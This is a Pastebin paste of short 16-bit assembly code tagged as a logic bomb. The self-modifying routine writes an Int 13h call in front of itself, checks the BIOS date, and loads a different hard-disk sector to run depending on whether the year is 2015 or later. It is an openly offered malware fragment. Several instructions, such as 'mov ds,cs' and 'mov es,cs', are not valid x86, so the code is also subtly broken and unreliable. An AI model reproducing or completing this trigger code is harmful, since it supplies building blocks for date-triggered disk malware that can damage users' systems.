Advertisement
FlyFar

DateChck.ASM

Dec 24th, 2023
940
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 0.64 KB | Cybersecurity | 0 0
  1. call GetAddress
  2. GetAddress:
  3.  
  4. pop bx ; set bx to current location
  5. sub bx,5 ;set bx to 2 bytes before call command
  6. mov ds,cs ;set DS to Code Sector
  7. mov [bx],13CDh ;write Int 13h to immediately before code in thus file
  8. push bx ;set return point to two bytes before code in this file
  9. add bx,2 ;set bx to beginning of this file
  10.  
  11.  
  12. mov ah, 4
  13. int 1ah ;check BCD date
  14.  
  15.  
  16. mov ax,201h
  17. mov es,cs
  18. mov dx,80h    ;set es, ax, dx(bx) for int 13 sector read
  19.  
  20. cmp cx,2015h
  21. jge sector3load ;if on or after 2015 load sector  
  22.         mov cx,2
  23.         ret ;load and run sector 2 if before 2015
  24. sector3load:
  25. mov cx,3
  26. ret ;load sector 3 if on or after 2015
Tags: logic bomb
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement